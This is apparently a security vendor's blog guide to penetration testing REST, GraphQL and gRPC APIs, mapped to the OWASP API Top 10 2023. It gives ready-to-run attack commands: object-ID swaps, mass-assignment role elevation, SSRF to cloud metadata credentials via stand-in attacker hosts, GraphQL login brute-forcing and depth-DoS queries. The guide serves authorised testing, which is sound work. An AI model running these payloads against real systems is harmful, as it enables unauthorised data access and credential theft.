API Penetration Testing Methodology — REST, GraphQL, gRPC
Published May 3, 2026 · 17 min read · VAPT
APIs are where modern application logic lives, and where modern bugs hide. The web UI is now a thin shell over a REST/GraphQL/gRPC backend, and most of the high-impact findings — authorisation bypass on object IDs, mass assignment of privileged fields, server-side request forgery via callback URLs — live in the API layer rather than in the rendered HTML. This methodology walks an API pentest end-to-end, mapped to the OWASP API Security Top 10 2023, covering REST, GraphQL and gRPC with tooling, payloads and curl chains a tester can run today.
Scope and rules of engagement
- Documented endpoint surface — OpenAPI, GraphQL schema (or introspection), proto files for gRPC.
- Two test accounts per role (tenant A user, tenant A admin, tenant B user) — mandatory for BOLA and BFLA testing.
- Rate-limit policy — what brute-force / fuzzing rates are permitted; whether the WAF will be put into log-only mode.
- Out-of-scope endpoints (payments, telecom carriers, regulated personally identifiable information).
- Stop-list techniques — no DoS, no destructive writes against live tenants without authorisation.
Without two accounts in two different tenants, broken-object-level-authorisation testing is guesswork. Insist on this before kickoff.
Tooling matrix
| Tool | Use |
|---|---|
| Burp Suite Pro | Intercepting proxy, Repeater, Intruder, Logger, AuthMatrix and Autorize extensions |
| Postman | Collection management, environment variables across roles, scripting |
| mitmproxy | Scriptable proxy, mobile and gRPC traffic, Python addons |
| ffuf / Nuclei | Endpoint discovery, template-driven misconfig detection |
| GraphQL Voyager | Schema visualisation from introspection |
| graphw00f | GraphQL engine fingerprinting |
| GraphQLmap | GraphQL exploitation — introspection, batching, mutations |
| BFAC | Backup file artefact crawler — .bak, .old, source disclosure |
| grpcurl | gRPC equivalent of curl, supports server reflection |
Phase 1 — recon and surface mapping
Recon for an API pentest is not subdomain enumeration. It is endpoint enumeration, schema extraction, and version discovery.
- Pull the OpenAPI/Swagger document —
/swagger.json,/openapi.json,/api-docs,/v3/api-docsare the conventional paths. - For GraphQL, attempt introspection at the conventional
/graphql,/api/graphql,/query,/v1/graphqlendpoints. - For gRPC, try server reflection (the dev-time API the gRPC ecosystem ships) — many production deployments leave reflection on by default.
- Diff old vs. new API versions —
/v1often retains endpoints that were quietly retired from/v2. - Mobile apps — pull the APK / IPA, run mitmproxy with cert pinning bypass and capture the actual API shape, not the documented one.
# REST endpoint discovery
ffuf -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-u https://api.target.example/FUZZ -mc 200,201,204,301,302,401,403
# GraphQL introspection
curl -s -X POST https://api.target.example/graphql \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN_A" \
-d '{"query":"{__schema{types{name fields{name}}}}"}'
# GraphQL engine fingerprint
graphw00f -t https://api.target.example/graphql
# gRPC server reflection
grpcurl -plaintext api.target.example:50051 list
grpcurl -plaintext api.target.example:50051 describe target.UserServiceOWASP API Security Top 10 2023 — mapping
| ID | Risk | Test focus |
|---|---|---|
| API1 | Broken Object Level Authorization (BOLA) | User A reads user B's objects by ID swap |
| API2 | Broken Authentication | JWT alg=none, weak secrets, refresh-token reuse |
| API3 | Broken Object Property Level Authorization | Mass assignment, excessive data exposure |
| API4 | Unrestricted Resource Consumption | Pagination size, GraphQL depth/aliasing |
| API5 | Broken Function Level Authorization (BFLA) | User role calls admin endpoint successfully |
| API6 | Unrestricted Access to Sensitive Business Flows | Bulk-buy, scraping, account creation abuse |
| API7 | Server-Side Request Forgery | Webhook URLs, image-fetch, callback fields |
| API8 | Security Misconfiguration | CORS, verbose errors, default creds |
| API9 | Improper Inventory Management | Old / shadow / staging API versions |
| API10 | Unsafe Consumption of APIs | Trusted-third-party callback handling |
API1 — BOLA in practice
BOLA is the single highest-impact API bug. Take any endpoint that references an object ID (/users/123, /orders/abc-def, /files/uuid) and replay the request with the ID owned by another tenant.
# Tenant A user retrieves their own resource
curl -s https://api.target.example/v1/orders/A-1001 \
-H "Authorization: Bearer $TOKEN_A"
# Replay with Tenant A token but Tenant B's order ID
curl -s https://api.target.example/v1/orders/B-2042 \
-H "Authorization: Bearer $TOKEN_A"
# Same primitive against an admin-flavoured endpoint
curl -s https://api.target.example/v1/admin/users/<tenant-b-user-id> \
-H "Authorization: Bearer $TOKEN_A"
# Burp -- AuthMatrix/Autorize automates the diff between two roles' responsesDocument each finding with: HTTP method + path, the substituted ID and ownership, the response code (200/403/404 distinction matters — the difference between BOLA and BOLA + IDOR-leak), and screenshot evidence. Test all CRUD verbs — an endpoint may correctly reject GET by another tenant but happily accept DELETE.
API2 — broken authentication
- JWT
alg: none— flip the algorithm header, drop the signature, replay. - JWT key confusion — sign an HS256 token with the public RSA key when the server expects RS256.
- Weak HS256 secret — offline crack with
hashcat -m 16500. - Refresh token reuse — replay an old refresh after a fresh one was issued; the spec says revoke on rotation.
- Cookie-bound vs. header-bound token confusion — some libraries accept either, allowing CSRF on JSON endpoints.
API3 — mass assignment and excessive data exposure
Mass assignment is the classic Rails / Spring / NestJS bug where the server hydrates the request body straight into a model object, including fields the user is not supposed to set.
# Vanilla update -- spec-documented fields only
curl -s -X PUT https://api.target.example/v1/users/me \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"axveil","email":"axveil@example"}'
# Mass-assignment probe -- attempt to elevate role
curl -s -X PUT https://api.target.example/v1/users/me \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"axveil","email":"axveil@example","is_admin":true,"role":"admin","tenant_id":"any"}'
# Excessive data exposure -- response includes server-side fields
# Look for: password_hash, internal_id, mfa_secret, stripe_customer_idAPI5 — broken function-level authorisation
BFLA is BOLA on verbs and paths instead of object IDs. Try every admin-flavoured path with a non-admin token. Common patterns: same path with X-Forwarded-User: admin header spoof; routing by HTTP method (DELETE allowed where GET is denied); GraphQL mutations gated by client-side feature flag rather than server-side authorisation.
API7 — SSRF via API callbacks
Any field the server fetches as a URL is a potential SSRF: webhook URLs, OAuth redirect URIs, avatar-from-URL fields, RSS imports, PDF generators that render HTML. The high-impact targets are cloud metadata services (169.254.169.254) and internal admin panels.
# Webhook field SSRF probe
curl -s -X POST https://api.target.example/v1/webhooks \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# DNS rebinding payload (collaborator)
{"url":"http://attacker.collaborator.net/redirect-to-internal"}
# Redirect-chain bypass
{"url":"https://attacker.example/redirect?to=http://169.254.169.254/..."}GraphQL-specific tests
- Introspection on in production — should be off; if on, dump the schema.
- Field suggestions — GraphQL servers sometimes leak field names via "did you mean..." errors even with introspection off.
- Batching — many GraphQL endpoints accept arrays of queries in one POST. Use this to bypass per-request rate limiting on login.
- Aliasing — alias the same mutation N times in one request to multiply effects (1000 OTP attempts in one HTTP request).
- Depth and complexity — nested recursive queries can DoS the resolver layer.
- Mutation BOLA — mutations like
updateUser(id: $id)should authorise by object owner, not by token validity alone.
# Aliased login brute -- 100 attempts in one HTTP request
mutation {
a1: login(email:"victim@example", password:"Spring2026!") { token }
a2: login(email:"victim@example", password:"Summer2026!") { token }
a3: login(email:"victim@example", password:"Welcome1!") { token }
...
a100: login(email:"victim@example", password:"P@ssw0rd!") { token }
}
# Recursive depth DoS
query {
users { posts { author { posts { author { posts { author { posts { id }}}}}}}}
}gRPC-specific tests
- Server reflection enabled — the dev API for schema discovery, often left on.
- Plaintext (h2c) instead of TLS (h2) — check for
grpc://ports without TLS. - Metadata-based auth — gRPC headers travel as HTTP/2 metadata; check whether removing the auth metadata drops to anonymous.
- Field-level authorisation in proto3 — same BOLA/BFLA primitives, just over a different wire protocol.
- Web-grpc / grpc-gateway proxies — HTTP-side may apply different policies than the native gRPC port.
# Reflection-driven enumeration
grpcurl -plaintext api.target.example:50051 list
grpcurl -plaintext api.target.example:50051 list target.UserService
# Anonymous call probe -- no metadata
grpcurl -plaintext -d '{"id":"B-2042"}' \
api.target.example:50051 target.UserService/GetUser
# Authenticated call with token-A trying tenant-B object
grpcurl -plaintext -H "authorization: Bearer $TOKEN_A" \
-d '{"id":"B-2042"}' api.target.example:50051 target.UserService/GetUserAPI4 — resource consumption
APIs without sensible upper bounds on pagination size, query depth, or concurrent connections are economic-DoS targets. Test ?per_page=100000 against every list endpoint; test sustained concurrent connections; test the GraphQL recursion depth; test whether the backend forwards ?limit=...straight to the database without a server-side cap. Findings here are usually not classic DoS — they are read-amplification primitives that let an attacker scrape the entire dataset cheaply.
API6 — sensitive business flows
Some endpoints are not technically broken but are economically exploitable: bulk account creation for spam, sneaker-bot purchase flows, ticket scalping, abuse of free-tier signup, scraping that exfiltrates the customer database one query at a time. The pentest deliverable should flag the absence of business-flow rate limiting, captcha, behavioural fingerprinting and per-user spend velocity checks.
API8 and API9 — misconfig and inventory
- CORS —
Access-Control-Allow-Origin: *with credentials; reflected origin without allow-list. - Verbose stack traces in production — framework name, version, file paths, sometimes secrets.
- Default credentials on admin sub-paths (
/api/admin,/_admin,/health/db). - Inventory drift —
/v1still live and unauthenticated when/v2is the "current" one; staging APIs reachable from the production domain; mobile-only API endpoints with weaker auth than web. - Documentation endpoints (
/swagger,/graphql) exposed in production.
Reporting structure
Each finding records: OWASP API Top 10 mapping, affected endpoint(s), reproducer (curl or grpcurl block), evidence, business impact in the customer's domain language (not "information disclosure" — "tenant A can read tenant B's order history"), recommended fix at the code level (not just the policy level), and a detection hint for the WAF/SIEM team. The deliverable also includes a coverage matrix that lists every documented endpoint and what was tested against it — so the customer can see which authorisation primitives were exercised and which were skipped due to scope.
Reference: OWASP API Security Top 10 2023 (full document), project repository.
For a scoped API pentest aligned with this methodology, see the AxVeil VAPT service.
Frequently asked questions
Why is BOLA the highest-impact API vulnerability?
Broken Object Level Authorization (OWASP API1:2023) is the single most common and most damaging API bug because it lets an authenticated user read or modify another tenant's data simply by swapping an object ID — no exotic exploit chain required. It is trivially repeatable, scales to the entire dataset one ID at a time, and is invisible to a scanner that does not hold two accounts in two tenants. That is why insisting on two test accounts per role before kickoff is non-negotiable.
Can an automated scanner find these API findings on its own?
No. Scanners reliably catch security misconfiguration, missing headers, and known CVEs, but BOLA, BFLA, mass assignment, and business-flow abuse all require understanding which object belongs to which tenant and which action a role should be allowed to perform. That is authorisation logic a scanner cannot infer. Tools accelerate triage; a human operator with two roles and the documented object model finds the authorisation bugs.
Do we need GraphQL introspection enabled for you to test our API?
It helps but is not required. If introspection is on we dump the schema directly; if it is off we fingerprint the engine with graphw00f, harvest field names from the client bundle and from 'did you mean' suggestion errors, and reconstruct the surface. We always recommend disabling introspection in production — but disabling it is defence in depth, not a substitute for server-side authorisation on every field and mutation.
How does an API pentest map to OWASP API Security Top 10 2023?
Every finding in the report carries its OWASP API Top 10 2023 ID (API1 BOLA through API10 Unsafe Consumption of APIs) plus the affected endpoint, a curl or grpcurl reproducer, business-impact language, and a code-level fix. The deliverable also includes a coverage matrix listing every documented endpoint and the authorisation primitives exercised against it, so you can see exactly what was tested and what was skipped due to scope.
Does the methodology cover gRPC and GraphQL or only REST?
All three. The core authorisation primitives — BOLA on object IDs, BFLA on functions, mass assignment, SSRF via callback fields — apply across REST, GraphQL, and gRPC; only the wire protocol and the recon tooling change. GraphQL adds batching, aliasing, and depth-complexity tests; gRPC adds server-reflection enumeration, plaintext-vs-TLS checks, and metadata-based auth bypass. We scope the protocol mix from your OpenAPI spec, GraphQL schema, and proto files at kickoff.
Plan your API pentest with AxVeil.
REST, GraphQL and gRPC coverage. OWASP API Top 10 2023 mapping, BOLA/BFLA depth, mass assignment, SSRF chains, retest included.
Talk to a senior operator about API pentest scope →